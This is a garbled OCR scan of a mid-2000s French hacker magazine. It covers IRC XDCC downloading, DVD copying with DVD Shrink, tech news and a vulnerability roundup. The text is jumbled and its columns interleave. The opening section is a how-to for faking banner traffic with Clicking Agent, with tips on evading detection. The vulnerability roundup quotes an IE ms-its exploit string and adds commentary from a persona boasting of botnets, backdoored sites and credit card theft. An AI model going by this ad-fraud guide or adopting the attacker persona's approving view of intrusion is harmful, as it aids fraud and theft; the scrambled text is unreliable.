"Start" (capture 4). Le nombre de visites augmente...

Clicking Agent

Accounts | Program | Advanced Pros ssvers |

disponible sur http://www.lotesoft.com/. Signa-
lons & ce propos I'humour involontaire des com-
mentaires des utilisateurs sur la page principale
du site (capture 5)... et je vous jure je n'ai pas
retouché les images, ni défacé le site...

Une fois le logiciel Clicking Agent installé, ajou-
tez votre proxy ou méme vos proxies (capture 6).

Et dans I'onglet "Accounts" (comptes), faites
bouton droit et "add" (capture 7).

Le bouton "Locations" (endroit) vous permet
de faire croire que vos visiteurs fantdmes viennent
de plusieurs pays. "Randomize" permet d'éviter
des connexions réguliéres faciles a détecter. "Brow-
sers" fait croire au serveur que le navigateur uti-
lisé n'est pas Internet Explorer. Le demier bouton
permet de préciser la chaine utilisateur... le gra-
phique au-dessus est modifiable & la souris et
permet de préciser les heures de trafic.

Evidemment, si I'on veut &tre crédible, on évi-
tera de mettre 20000 personnes provenant du
Japon sur un site est uniquement en Frangais. Les
paramétres permettent de tricher au plus pres et
de maniére trés fine. On ne mettra pas une pointe
de trafic & une heure creuse comme 2 heures du
matin ... ¢a ferait louche. De méme, Internet Explo-
rer est le navigateur le plus répandu.

Enfin, collez le code de la banniére dans la
fenétre et valider par " ok ". Il ne reste plus qu'a
cliquer sur " Start ".

CONCLUSION

Nous sommes bien siir contre de tels
produits ou astuces qui n’ont pour but
que de faire gonfler artificiellement les sta-
tistiques des serveurs. Nous soupgonnons
méme certains sites d’utiliser ce genre
d’outils pour pouvoir affirmer quelques

millions de pages... Pour éviter tout men-
songe, pourquoi ne pas disposer d'un
organisme indépendant qui permettrait de
certifier le trafic de chaque site et de tous
les sites consentants ? On peut réver...

augmente...

Un autre produit existe. Il s'agit de Clicking Agent,

Robocop et Leo
Du site http://www.metagames-fr.com
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PAs DE REGION
POUR LA PSP

On attend avec impatience la PSP
(PlayStation Portable) de Sony, qui
s'annonce comme LA console por-
table nouvelle génération. Et bien,
une honne nouvelle est tombée :
il n'y aura pas de séparation des
jeux par région, comme pour la
Playstation ou les DVD. La raison
avancee est que justement, une
console portable doit pouvoir tre
amenge partout en voyage, et qu'il
serait idiot de ne pas pouvoir
acheter des jeux a |'étranger. Une
idée qu'on aurait aimé voir appa-
raitre plus tot dans le cerveau des
concepteurs de lecteurs DVD
[pour] portables.

BLAGUE BELGE

Une association belge pour la
défense des droits d'auteur a eu
une idée géniale : intenter une
action en justice contre Tiscali
pour Fobliger a bloguer I'acces aux
sites offrant en téléchargement
des logiciels de Peer-to-Peer, sous
le prétexte que les interautes
pourraient les utiliser pour parta-
ger des fichiers illégalement.
Quand on pense au nomhre de
logiciels qui peuvent étre utilisés
de maniére illégale, une décision
e justice dans ce sens entraine-
rait une véritable censure de I'ln-
temet. lls sont fous ces Belges !

JACKIE CHAN
vs BILL GATES

En voila un combat intéressant !
Nous aurons peut-gtre |'occasion
d'y assister, puisque I compagnie
chinoise Evermore a sorti son nou-
vel * I Office 2004 *, une suite
bureautigue qui devrait srieuse-
ment concurrencer Microsoft Ofi-
ce. Enfin, en Chine seulement a
priori, puisque les Chinois sont
hien connus pour remplacer les
diaboliques produits occidentaux
par leurs propres créations (ils ont
déja fait le coup avec Intemet).
Vous pouvez I'acheter sur leur site
web au prix modigue de 149°S, ou
& seulement 149 $ si vous étes
etudiant. Wow |

Dans le précédent numéro de Pirat’z, nous vous apprenions a utiliser 'IRC pour
participer a des discussions, et faire sa frime. Aujourd’hui nous allons vous expli-
quer comment télécharger des fichiers en passant par ces canaux. Eh non, il n'y
a pas que Kazaa et la Mule !

e XDCC vient du terme DCC
I (Direct Client to Client) qui est

un protocole peer to peer (poste
a poste) spécifique aux serveurs IRC.
Les serveurs XDCC sont des ordinateurs
qui agissent en tant que serveurs de
fichiers. Ce qui différencie ce systeme
des autres peer-to-peer ¢’est le mode
de diffusion.

Sur IRC, la diffusion n’est possible
que dans un sens, c'est-a-dire qu’un
serveur XDCC met a disposition ses
fichiers sans rien attendre en contre-
partie ! Le vrai esprit qui devrait animer
Internet @ mon avis ! Bien sr, si vous
le désirez vous pouvez aussi mettre vos
fichiers a disposition en installant votre
propre serveur XDCC, mais nous en
reparlerons une autre fois....

Ces serveurs fonctionnent avec une
file d'attente, mais la vitesse est si éle-
vée gue vous n'attendrez pas trés long-
temps. Les débits des serveurs sont
énormes ! Regardez la copie d'écran ci-

Phase 1 : Récupération/
configuration de I'outil
Bottler

Rendez-vous sur http://www.
memelog.com/bottler/index.php qui
est le site officiel du programme. Cliquez
sur le [1] a droite de download qui
correspond a www.memelog.com/
bottler/download.php. Vous récupérez
le fichier Bottler_v3.3.1214.zip. Cliquez
sur le zip et ensuite sur le fichier por-
tant I'extension .msi pour installer le
programme, puis sur "Next", et installez-
le dans le dossier de votre choix.

Cliquez encore une fois sur "Next"
puis sur "Close", Bottler ne créera pas for-
cément une icone sur le bureau. Dans ce
cas, créez un raccourci vers c:\Program
Files\Bottler\Bottler.exe s'il s'agit bien
votre chemin d'accés au programme.

Maintenant lancez Bottler en cli-
quant sur I'icéne représentant un mar-

dessous et lisez les valeurs de la teau et une clef dans le menu
colonne "Record". Preferences.
Hottler v3.3 Ouild 1214 HE
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SIMPLEMENT LE XDCC *

Deux méthodes sont possibles pour
utiliser le XDCC. On peut utiliser son
logiciel d'IRC (MIRC par exemple) ou
bien un logiciel spécialisé. Dans notre
cas nous allons nous servir de Bottler,
mais sachez qu'il existe aussi un autre
outil nommé "XDCC Catcher".

MIRC est un outil en mode texte
assez rude, mais Bottler est un outil gra-
phique facile a utiliser, vous allez voir.

| TST6.6<B/s | IR __-_j‘

Dans la fenétre de gauche, cliquez
sur Connexion. Entrez votre surnom,
votre nom si vous le désirez et une
adresse email qui ne sera pas vérifiée.

Dans le menu "Download Limiter"
vous pouvez empécher de démarrer un
téléchargement si la bande passante est
saturée. Attention ! Sur un réseau Ether-
net derriére un routeur, j'ai eu le cas ol
le PC ne pouvait pas supporter plus de
120Ko de bande passante et Bottler
entrainait un redémarrage intempestif.
Dans le menu "General Options", cliquez
sur Associate Links pour que les liens
IRC soient associés a Bottler.

= Preferences

Network - General Options———
\-—Connection
Download Limiter I~ Sounds Enabled
DCC Relay
Ident / Version [ Minimise to Tray
iy ¥ Auto Scroll Offers
[~ Mouse Scroll Fix
Seiver File iz il TS S |
Cancel

Vérifiez dans le menu "Download
Path" que vous pointez sur un répertoire
d’'un disque ayant suffisamment de
place, surtout si vous avez l'intention de
charger des gros fichiers.

Phase 2 : Localisation du "packet"

Un serveur XDCC permet aux utili-
sateurs d'accéder aux fichiers organisés
en "pack" ou "packets". Il faut donc
d'abord localiser le "pack" et ensuite le
télécharger.

Dans votre navigateur, tapez
www.packetnews.com. Vous trouverez
dans ce document d’autres liens vers
des moteurs de recherche sur IRC.

Dans la fenétre juste avant search,
tapez ce que vous cherchez, par exem-
ple freeware.

Détaillons. On voit le nom du
réseau IRC (ici BARARCADE), un réseau
IRC est un ensemble de serveurs IRC
souvent groupés sur un méme sujet ou
par pays. Puis le nom

G e s

oL [ e el qué, le nom du serveur

Download Linker | Nicknams [ramomn || XDCC ou "bot" (pour
A Avemative Nicknano. [2esrnon robot).

General Z RealName [wanom On peut connaitre

?52::‘;;., Emal Address [omai@enall a l'avance le nombre

Chu Dpkuty de "slots" disponibles.

-y o b w ) || Le nombre de "slots"

s e | swo || indique le nombre de




DU TELECHRARGEMENT

| | Search |Advanced

O XDCC O Fserve

Network: BARARCADE

Channali #triviawhores 0

bot  |active slots qua kps pack gets size |description

[tw]=x  2nhiem| | #7 0x |1.12M ezthumbnail maker freeware
drunké157073 4h13m #7 |0x |1,12M ezthumbnail maker freeware

{ue kps [pack gets [size | description
5.3 £21 ox | 7.3M objectdock freawara rar

Networ: PHEYNET

personnes maxi-
mum qui peuvent
télécharger en
méme temps. Le
terme "queue" est

Ensuite on clique sur Channels puis
on entre le nom du channel avec le
#devant. Puis on clique & nouveau sur
"Save".

[V Check for New Version
I~ Auto Tab Switching

" lehannali #scorpio @
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La recherche si elle est fruct, doit di cect

Aprés un certain temps, 'onglet
"Offers" se remplit. | ne reste qu'a cli-
quer sur le fichier souhaité et appuyer
sur le bouton droit de la souris et
"Request this file". Si la ligne est en vert,
cela signifie que le fichier est disponi-
ble. Un conseil, cliquez sur la colonne
"Free Slots" pour afficher en priorité les
serveurs ol il reste des places libres.

La fenétre "offers" peut afficher des
milliers de "packets" selon le nombre
de serveurs et de "packets" sélection-
nés. Longlet "Queue et Downloads"
vous indique I'état du téléchargement
tandis que I'onglet "Networks & Chan-
nels" indique les serveurs et channels
sur lesquels vous étes connectés. Si le
serveur vous refuse, allez dans I'onglet
"Server Window" et cliquez sur le nom
du serveur, vous verrez les raisons du
refus apparaitre. Certains serveurs inter-
disent I'emploi de Bottler...

I Optiniss Channels Vllent ensm.te la
vitesse maximale after-al ~ Channels
du  télécharge- {.....Oplions [Motwdos
| ment, le nombre Lo T Add This Channel |
Save de  télécharge- alphanine
ments effectués, la 1. Options Clinoe
taille du fichier et enfin le nom du fichier ... Channels |
disponible. asylo . Key
Il suffit de cliquer sur le chiffre cor- - Dptions |
respondant au "packet" souhaité. Ici - Channels
c'est le paquet 4 sur le serveur irc.barar- "“’.’”'ccnhat‘inns R I
cade.com dans le channel #coffee CE |
-shack. Plus simplement, cliquer sur un et
lien met automatiquement le nom du -
serveur et du channel dans Bottler si Add SB'VGTI Cancel I SaveAs | Save | List Cleaner

celui-ci est installé.
Phase 3 : Téléchargement
du "packet"
Bottler est lancé. Pour vous connec-

Si ¢a ne marche pas, on clique sur
I'icone représentant des serveurs (Ser-

vers Editor), puis sur "Add server" et on
entre le nom du serveur dans la case
"name" et "Address". Enfin on clique sur
"Save".

ter, cliquez sur I'icdne "Connect to ser-
vers", elle représente un céble et est
située en haut a gauche. Puis cliquez
sur 'onglet "Offers".

E Servers B
}

afteral - Connection
i Options
‘- Channels Name
alphanine |after-all
- Options Address Port
L. Channels Iirc.alter-all.ord |BBBE
asylo
i Options ;
L Channels [v Disabled
atomicchat
i Options Delete Server I
i Channels
hatacire Ll
Add Serverl Cancel l Save As | Save I List Cleaner I

L'onglet "Chat" permet d'utiliser
Bottler comme client IRC traditionnel.
Comme son nom l'indique, "List Chan-
nels" liste les channels d'un serveur
IRC. Et I'onglet FSERVE permet de se
connecter aux serveurs FSERVE mais
¢a c'est une autre histoire... a paraitre
dans un prochain numéro, si vous étes
sages...

Il ne vous reste qu'a utiliser le
"packet" téléchargé, en respectant les
lois en vigueur, bien entendu. Et main-
tenant, & vous de faire votre propre ser-
veur XDCC !

Voici quelques liens utiles :

http://www.ircspy.com
http://www.xdccsearch.com
http://www.packetnews.com
http://www.searchirc.com
http://www.mydownloader.com
http://www.xdcespy.com
http://www.isohunt.com
http://www.mircsearch.co.uk

Cisco LEAK,

CA PUE !

(Ce titre est candidat au jeu de
mots le plus pourri du mag).
Cisco est une: compagnie hien
connue des professionnels de
I'informatique, mais moins du
grand public : il s'agit de I'en-
treprise leader qui fabrigue les
gros routeurs d'Internet. Autant
dire que leur matériel est utilisé
apas mal d'endroits cruciaux du
réseau. Qui comptent sur I'ex-
pertise de Cisco pour étre a I'a-
bri des pirates. Mais ils risquent
d'avoir chaud aux fesses main-
tenant, car un hacker a annoncé
avoir mis la main sur pas moins
de 800 Mo de code de Cisco.
Comme preuve, il n'en a montré
que 2.5 Mo, gardant évidem-
ment le reste pour lui afin de le
monnayer contre des pass Euro-
disney gratuits. Cisco essaie bien
siir de minimiser I'impact de
cette fuite, indiquant que la der-
niere fois qu'ils ont découvert
une faille importante (I'an
passe),il 'y a pas eu de conse-
quence a grande échelle. Mais il
y a e quoi étre inquiet, car si le
code commence & circuler dans
les milieux * black hats *, il ne
serait pas étonnant que de nou-
velles failles soient découvertes,
et pas forcément corrigges. ...

KAzAA

L'AsSAUT !

Kazaa, toujours numero 1 des
logiciels de P2P dans le monde
grace au troupeau de moutons
américains, essaie (enfin) d'e-
voluer. Premier signe : il est dés-
ormais disponible non seulement
en anglais, mais aussi en alle-
mand, espagnol, italien, portu-
gais, et hien sir en francais.
Sharman Networks s‘attaque
donc & |'Europe. D'autre part, on
ne trouve plus Kazaa en tele-
chargement sur Download.com :
Sharman Netwaorks a décidé de
contrler plus précisément les
talechargements en les centra-
lisant sur ses propres pages.
Voudraient-ils loguer votre [P ?
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EST QUOI
DEJA, L'URL

DE MICROSOFT ?
En mai, fais ce qu'il te plait ! Telle
doit &tre la devise du petit plai-
santin qui s'est amusé a effacer de
I'index de Google les pages de cer-
tains sites weh, en particulier cel-
les de Microsaft et d'Adobe. Cette
suppression etait due a un bug
dans l'outil de suppression auto-
matique de pages web, qui permet
normalement d'€liminer son prop-
e site de Google, mais autorisait
egalement la suppression de sites
extérieurs n'ayant pas de page
index.htm ou index.html. Domma-
ge qu'ils |'aient corrigé si vite, j'a-
vais d'autres sites en téte. ..

AMOUR =

coS(AGE1-AGE2)
Voila, ai la formule de 'amour, j&
vais maintenant la hreveter. C'est
a peu pres ce que se sont dit les
créateurs du site de rencontre
ameéricain eHarmony (www.ehar-
mony.com), qui ont dépose un bre-
vet sur leur formule permettant de
mesurer le potentiel d'amour entre
teux personnes. Un petit tour sur
leur site nous apprend que tout est
mesuré par seulement 29 varia-
bles, allant de la passion sexuel-
le & la spintualité. D'ailleurs, ¢'est
fantastique, il n'y a pas I'age
dedans, ce qui prouve que ¢a ne
compte pas dans |'amour !

TU NE TRICHERAS

POINT

On vous I'aura pourtant répété, que
c'est mal de tricher en réseau !
Jusqu'a présent, tout ce que vous
risquiez. c'était de voir votre
compte banni. Mais Valve a déci-
de d'aller plus loin en poursuivant
dorénavant en justice les tricheurs.
En fait, dans un premier temps, le
“ cheat-kiddie " ne sera pas
inquiéte, puisque seuls les créa-
teurs de hacks ou les sites les
héhergeant sont visés. Ce qui est
deja une honne nouvelle pour le
jeu en ligne, puisque plusieurs gros
sites de triche ont dii fermer leurs
portes suite aux actions de Valve.

CORPIER uN FILM

Quelle arnaque ! Les graveurs de DVD du marché sont bridés pour vous empécher
de dupliquer vos films. Une fois de plus, Pirat'z doit intervenir pour rétablir les
droits légitimes du particulier. Un soft, quelques instructions, et c'est parti.

Alors ca y est, avec la vertigineuse
chute des prix des graveurs de DVD,
vous avez décidé de faire le grand saut
et d’abandonner vos bons vieux CD au
profit de ce nouveau média ? Fini les
heures d’encodage en divx pour réduire
un film & la fameuse taille de 700Mo et
enfin pouvoir le graver sur CD : vous
allez maintenant pouvoir reproduire des
copies identiques de vos films incluant
les menus, les chapitres, les bonus...
Enfin, c'est slirement ce que vous a dit
le vendeur. Malheureusement, les
choses sont un peu plus compliquées
que ¢a...

I.A T:'MI.I.E A=-T-ELLE
L'IMPORTANCE ?

Tout d’abord il existe deux formats
équivalents au CD-R, version DVD : le
DVD-R et le DVD+R. lIs sont utilisés par
différentes marques, et la majorité des
graveurs (& I'exception des multifor-
mats) ne peuvent graver que |'un ou
I'autre. Mais ce n'est pas cela qui nous
intéresse aujourd’hui, on écrira donc
simplement et arbitrairement : DVD-R.
Remplacer le - par un + ne changerai
rien du tout. En effet, ces deux supports
ont quand méme un point commun qui
nous arrange : leur taille. On peut stoc-
ker 4.7 Go de données sur n'importe
quel DVD vierge vendu sur le marché.
On les appelle DVD5 (le 5 étant la pour
5 Go environ).

Pourtant, et c’est maintenant que
les choses se compliquent, les DVD
vendus dans le commerce sont, pour la
majorité des films, stockés sur des
DVD9. Et, comme vous I'avez slirement
deving, c'est parce qu'ils ont une capa-
cité de 9 Go.

A partir de 13 on peut distinguer
deux cas :

- le film que vous voulez graver fait
moins de 5 Go, tout va bien : faites
une copie classique avec un logiciel
tel que Nero et le passage de DVD9 a
DVD5 ne posera aucun probleme,

- le film fait plus de 5 Go : vous imagi-
nez que... ¢a ne rentre pas -/ Il va
dong falloir trouver une solution.

DVD SHRINK

Cette solution, elle nous est donnée
par I'équipe de programmeurs (que je
félicite d’ailleurs) de DVD shrink. Ce logi-
ciel gratuit (un vrai freeware) pour Win-
dows va nous faire tout le boulot pour
assurer le passage sur DVD5... enfin
presque tout ;-) Une fois DVD shrink
téléchargé (www.telecharger.com, ou
www.dvdshrink.org par exemple) et
installé, nous allons enfin pouvoir
commencer.

% DVD Shrink 3.0 Beta 5 - F:A

En faisant glisser le curseur, vous
pouvez alors faire varier le taux de
compression de la vidéo.

On voit la barre, en haut de la
fenétre, symbolisant le surplus de
données diminuer (captures 2 et 3 : en
vert la place sur le DVD, et en rouge le
surplus).

A vous de trouver un bon compro-
mis qualité/espace occupé. La solution
la plus simple consiste a compresser la
vidéo au maximum.
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1. Fenétre principal de DvdShrink

Pour commencer, cliquez sur le
bouton DVD en haut a gauche de la
fenétre.

Vous pourrez alors sélectionner
votre lecteur de DVD, le titre du film
apparait a droite de la lettre du lecteur.

Validez par OK, le programme va
alors analyser votre DVD ; I'opération
prend quelques dizaines de secondes.

C'est dans la partie droite de la
fenétre que vous pourrez maintenant
modifier les différents paramétres de
compression.

Pour compresser I'image, cliquez
sur le bouton "Ratio".

Ne vous inquiétez pas, la différence
reste trés faible et difficile a remarquer,
voire invisible pour I'ceil humain. Mais
vous pouvez également supprimer la
piste audio DTS, ce qui permet de de
ne compresser I'image que dans une
moindre mesure et donc de conserver
une meilleure qualité.

VERS L'EXTREME

Une troisiéme solution, assez inté-
ressante, permet également de réduire
la taille du DVD sans altérer la qualité
de la vidéo ni supprimer de piste audio :
il s'agit de supprimer les bonus.

® Reth S e | 94%

0MB

4,464 MB

7,116 MB

2, Légére compression de Vimage... ca ne passe pas
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3. Meilleur taux de compression : ¢a passe presque !

En effet, si certaines personnes
achetent le DVD rien que pour ¢a,
d'autres ne regardent que le film. Si
vous faites partie du deuxieme groupe,
cette solution s'adresse a vous.

qu'il y a du rouge, ¢a n'est plus bon !
Une fois tous ces réglages terminés,

cliquez sur le bouton Backup.
Sélectionnez alors le répertoire ol

serant stockés les fichiers compressés

programme de gravure préféré et créez
deux dossiers sur le DVD :

- un dossier AUDIO_TS qui restera vide,
- un dossier VIDEO_TS ol vous pouvez

: OMB

4,455 MB

; 51
P Re-author Start/End
Stre_ams
[ video

|-f (O No Compression
f+ O Automatic

Size |

6,035 MB

66% 3,965 MB

b @ Ratio

] 66% 3,956 MB

L O still Pictures

(£ Audio

- [ 1. AC3 6-ch Unspecified
Ly 1. AC3 6-ch French

- [J 2.D15 2chFrench |
- [ 1. AC3 2-ch French

Pour cela, cliquez sur le bouton
Remaniement en haut a droite de la
fenétre, la fenétre se découpe alors en
deux parties :

- a droite, la liste des éléments dispo-
nibles sur le DVD original : menus, film
principal et bonus,

- & gauche, le DVD que vous allez créer.

A partir de 13, méme ma grand-
mére y arriverait : il suffit de faire glisser
de droite @ gauche ce que vous
souhaitez conserver, évidemment le film
principal (2 moins que vous n'achetiez
le DVD vraiment que pour les bonus lol)
et éventuellement quelques bonus si
vous tenez & en conserver certains et
qu'il reste suffisamment de place (voir
ci contre).

La barre verte, en haut de I'écran,
vous permet de voir en permanence quel
pourcentage du DVD est occupé. Dés

4. Suppression d'une piste audio

et validez par OK : la compression
commence. Prévoyez environ 1 heure
avec un PC a 2 Ghz.

A la fin de I'opération, vous vous
retrouverez avec de gros fichiers VOB,
IFO et BUP. Pour les graver, utilisez votre

11% 661 MB

35 MB
273 MB
916 MB
155 MB

mettre tous les fichiers créés par DVD
Shrink.

Il ne reste plus qu'a graver pour
avoir une copie "presque" identique au
film original

Spolix

€3 DYD remanié Wm
¢ 2 X 15| [Omrnrac wmm
struc... | Durée | Taille ||| Nom
rém I T e
Evrs1
Svrsz
Film Principal
% ] Titre 2
Bonus

J'APPELLE MON AVOCAT !

tent les majors.

Il faut rappeler que la copie de films ou de DVD musicaux n'est légale que dans la stricte application de
vos droits a la copie privée. Oui, vous avez le droit de faire une copie de votre DVD de Pinocchio pour que
votre petite sceur puisse I'emporter en vacances. Mais mieux vaut ne pas s'amuser a distribuer des DVD de
Titanic par dizaines pendant votre croisiére, méme si c'est pour emballer. Enfin... c'est de plus en plus dur
de savoir oli commencent et s'arrétent exactement nos droits avec toute la désinformation que nous jet-

LINUX

MENACE LA
SECURITE
NATIONALE

Le PDG de Green Hills Software,
Dan 0'Dowd, ne s'est certainement
pas fait beaucoup d'amis dans le
cercle des Linuxiens, en affirmant
qu'utiliser Linux pour la défense
nationale (américaine) serait une
grave emeur. C'est ce qu'il a dit haut
et fort lors d'une conférence, dont
vous trouverez Ia retranscription sur
hittp://www.ghs.com/news/
20040408_AFELhtml. Afin de se
justifier, il s'est ensuite fendu d'une
série d'articles que I'on peut lire sur
http://www.ghs.com/linux/
security.html. 0'Down critique
notamment le coté open-source
de Linux, qui permet & n'importe
qui de trouver des failles sans
necessairement les dévoiler. D'a-
pres lui, utiliser Linux dans des
systemes critiques de défense et
tle combat pourait avoir de gra-
ves conséquences s'ils taient
compromis (par exemple, des mis-
siles pourraient tre lances sur des
civils ). Vous pensez que ce type
est sponsorisé par Microsoft pour
promouvoit le prochain Windows
Nuclear 2005 ? En fait, pas du
tout, il se trouve que Green Hills
congoit justement des systemes
d'exploitation sécurisés pour I'ar-
mee américaine. . .

SURFEZ AVEC VOTRE
LoGiCIEL P2P

S'agit-il d'une simple curiosité, ou de
Ia firture tendance ? |l est encore trop
it pour le dire, mais Deepet Explo-
rer (www.deepnetexplorer.com) est
le premier browser cui est aussi un
logiciel P2P.Le réseau P2P en ques-
tion est Gnutella, qui fait partie des
plus populaires sur le Net. Reste &
frouver un intérét a la chose, car quel
est l'intérst véritable d'intégrer Web
et P2P au sein d'une méme appli-
cation 7 Au moins, ce nouveau
hrowser est gratuit. Alors si vous
voulez essayer la béte, envoyez-
nous vos commentaires |




LES DERNENES VULNERRBILITES

M ANIAC
ANSION
REVIENT !

Nos lecteurs des maisons de
retraite se rappelleront du fameux
* Maniac Mansion ", ce jeu d'a-
venture loufdingue développé par
LucasArts il y a, euh, longtemps.
Ce pefit bijou a éte développe par
rien e moins que e créateur de
Monkey Island, et a ensuite été
suivi par le non moins célehre Day
of the Tentacle. Bon, pourguoi ravi-
ver tous ces souvenirs ? Parce
qu'un remake est maintenant
disponible  gratuitement  sur
http://people.

freenet.de/lucasfangames/
maniac/index_eng.htm.Un
jeu parfait pour reposer votre carte
graphigue aprés un petit UT2004.

NS LA FAMILLE
AHOO0.COM,
JE VOUDRAIS 1996
Il vous est certainement déja arri-
ve de pester contre un site web
qui n'est plus disponible. Le cache
de Google vient alors a la res-
cousse. Et si ce n'est pas suffisant,
demandez-vous ? Il existe un site
extraordinaire qui pourrait bien
vous sauver la vie : * The Intemet
Archive * (www.archive.org),
dont I'objectif est tout simplement
d'archiver le contenu d'Intemet.
Un projet trés amhitigux qui sem-
ble malgré tout bénéficier de
moyens @ sa hauteur : vous pou-
vez trouver de multiples copies de
{presque) tous les sites et ainsi *
remonter le temps * jusqu'en
1996. Mais attention, le but n'est
pas uniquement d'archiver les
sites web : vous trouverez a la
mame adresse des archives audio
e concerts ou de conferences, des
archives de textes ou de films. ...
gvidemment, ce n'est pas sans
causer quelques soucis liés a la
proprigté intellectuelle, mais appa-
remment le site est pour l'instant
parvenu @ survivie au DMCA
americain en créant une exception
pour I'archivage. Espérons que
cette gigantesque archive ne
disparaisse pas, ou qu'au moins
quelgu‘un d'autre |'archive.

EN PARTENARIAT AVEC L'EQUIPE TECHNIQUE DE WwWW.K-OTik.com

Bugtrakz-kiddie nous a fait un immense honneur en acceptant de commenter la
revue bugtraq de ce numéro. Vous ne le connaissez pas ? Lui vous connait siire-
ment puisqu’il a déja installé plusieurs de ses bots IRC sur votre ordinateur et
backdooreé votre site web. Son réve : contrdler assez d'ordinateurs zombies pour
DOSer le site de Britney Spears. On ne sait pas si c'est par conviction, ou seule-
ment dans I'espoir de lui extorquer des faveurs.

REALPLAYER & REALONE MULTIPLE SUFFE® OVERFLOW VULNERASILITIES

Deux failles de sécurité ont été identifiées dans plusieurs produits Real. Elles pourraient permettre a un attaquant d'exé-
cuter un code arbitraire sur un poste utilisateur. Le premier probléme, de type heap overflow, est présent au niveau du
fichier " embhd3260.dIl " qui ne manipule pas correctement certains fichiers media. La seconde faille se situe au niveau
de la manipulation de certains fichiers ram contenant un grand nombre de points (".").

Bugtrakz-kiddie : Sympa comme vulnérabilité, mais trop lourde & exploiter : il faut forcer les gens a visiter une page. Ou
alors mettre I'exploit sur un site trés visité. Et encore, ga ne marchera pas de la méme maniére avec toutes les versions
de Real.

VuLNERABLE : RealOne Player et RealPlayer

Sovution : Utiliser 'option de mises a jour

SYMANTEC CLIENT FIREWALL PRODUCTS MULTIPLE VULNERASILITIES

Quatre vulnérabilités critiques ont été identifiées dans plusieurs produits Symantec Norton. Elles pourraient étre exploi-
tées par un attaquant distant afin de compromettre un systéme vulnérable ou causer un Déni de Service (DoS) :

1) Le premier probléme, de type buffer overflow, apparait au niveau de la gestion des requétes et réponses DNS (Domain
Name Service), et pourrait étre exploité afin d'exécuter des commandes arbitraires distantes avec les privileges Kernel Ring
0. Cette faille se situe au niveau d'une routine présente dans SYMDNS.SYS, et qui ne gére pas correctement les répon-
ses contenant des champs CNAME trop longs.

2) La seconde vulnérabilité, de type heap overflow, apparait au niveau de la gestion des réponses NBNS (NetBIOS Name
Service), et qui pourrait étre exploitée afin d'exécuter des commandes arbitraires distantes avec les privileges Kernel
Ring 0. L'exploitation de cette faille nécessite I'autorisation du trafic entrant NBNS (port 137/UDP), ce qui n'est pas le
cas dans une configuration par défaut.

3) La troisieme faille, de type déni de service, apparait au niveau de la gestion des réponses DNS (port 53/UDP), et
pourrait étre exploitée par un attaquant distant afin de crasher un systéme vulnérable.

4)Le gquatriéme probléme, de type stack overflow, apparait au niveau de la gestion des réponses NetBIOS Name Service
(port 137/UDP), et pourrait &tre exploité afin d'exécuter des commandes arbitraires distantes avec des privileges éle-
vés. Cette faille se situe au niveau du driver SYMDNS.SYS.

Bugtrakz-kiddie : Ca me fait toujours rigoler quand c'est le programme de sécurité qui peut étre utilisé pour s'introduire
dans la cible :-) C'est comme Witty, qui exploitait, entre autre, un bug dans les parsers de BlackiCE.

VULNERABLE : Tous les produits sécurité Symantec/NORTON Sowumon : LiveUpdate
Cve : CAN-2004-0444 / CAN-2004-0445

INTERNET EXPLORER LOCAL RESOURCE ACCESS & CROSS~-ZONE SCRIPTING

Deux vulnérabilités critiques ont été identifiées dans Microsoft Internet Explorer. Elles pourraient étre combinées a des
failles connues puis exploitées par un attaquant distant afin de compromettre une machine vulnérable. Le premier pro-
bléme est une variante de la vulnérabilité " Location: ", qui pourrait étre exploitée afin d'accéder a des ressources loca-
les via la variable URL : "Location: URL:ms-its:C:\WINDOWS\Help\iexplore.chm::/iegetsrt.ntm". La seconde vulnérabilité,
de type Cross-Zone-Scripting, pourrait &tre exploitée par un attaquant distant afin d'exécuter des scripts dans la zone
locale de la machine. Ces deux problemes peuvent étre exploités via une page HTML malicieuse.

Aucun patch de sécurité n'existe pour cette vulnérabilité. L'exploit de cette faille est publiquement disponible, il y a plu-
sieurs rapports d'incidents impliquant cette exploitation (installation a I'insu des utilisateurs de I'Adware " |-lookup "
avec une barre d'outils qui détourne I'explorateur et qui affiche des pop-ups promationnels pour des sites adultes). Nous
conseillons un changement du navigateur ou la désactivation du protocole ITS.

Bugtrakz-kiddie : Ca me rappelle ce que fait un collegue en ce moment. Il s'est débrouillé pour faire une sorte de worm
pour attaquer & la chaine plein de serveurs web IIS (il doit avoir un 0-day, ou je sais pas trop quoi). Du coup, il peut uti-
liser ce genre de faille IE sur pleins de gens en rajoutant I'exploit en HTML sur plein de sites, sans que les webmasters
s'en rendent compte, héhé. Il ne s'est pas mal débrouillé, il est méme passé dans les journaux. Bon, faut dire qu'il uti-
lise I'exploit pour installer un prog qui vole les numéros de CB, ce genre de choses.

Enfin, merci Mircrosoft pour tous ces bugs ! Et merci de forcer tout le monde a utiliser les mémes softs, avec tes tech-
niques de marketing de leet. Ga nous simplifie tellement la vie.

VuLnEraBLE @ Microsoft Internet Explorer 6 SoLurioN : Changer de navigateur




MAC OS X VOLUME URI HANDLER REGISTRATION CODE EXECUTION

Une nouvelle vulnérabilité critique a été découverte dans Mac OS X, elle pourrait &tre exploitée via un site malicieux afin de
compromettre un systéme vulnérable. Cette faille est une variante de la vulnérabilité " disk URI handler ", normalement pat-
chée avec eSecurity Update 2004-05-24 for Mac 0S Xe. Deux méthodes d'exploitation sont possibles : la premiére concerne
le montage des images disque ou des volumes (FTP/DAV/SMB/AFP/SSH) afin de créer de nouveaux protocoles URI qui
permettront 'exécution de codes arbitraires placés sur I'image disque. La seconde méthode concerne toujours les images
disques, qui peuvent modifier un protocole URI non utilisé (ex. TN3270), afin d'exécuter un code placé sur le volume.

La possibilité d'exploitation de cette vulnérabilité a été confirmée sur des machines patchées avec le correctif " Secu-
rity Update 2004-05-24 for Mac 0S X ".

Bugtrakz-kiddle : Pas mal. Il suffirait de forcer les gens & télécharger une fausse image de disque. Bah, personne est sur
Mac, ca ne marchera pas. Et puis bon, j'ai méme pas de trojan a installer pour 0s/Xx...

VULNERABLE : Apple Macintosh OS X Sowution : Désactiver les protocoles vulnérables

INTERNET EXPLORER /WINDOWS EXPLORER LONG SHARE NAME OVERFLOW

Une vulnérabilité a été identifiée dans Microsoft Internet Explorer (iexplore.exe) et Windows Explorer (explorer.exe). Elle
pourrait atre exploitée par un attaquant distant afin de compromettre une machine vulnérable. Cette faille est causée
par une erreur pouvant &tre déclenchée via Interet Explorer ou Windows Explorer, en se connectant a un serveur de
fichiers ayant un long nom de partage (plus de 300 octets). Ce probleme, de type buffer overflow, pourrait &tre exploité
afin d'exécuter des commandes arbitraires sur une machine vulnérable, en incitant un utilisateur & se connecter a un
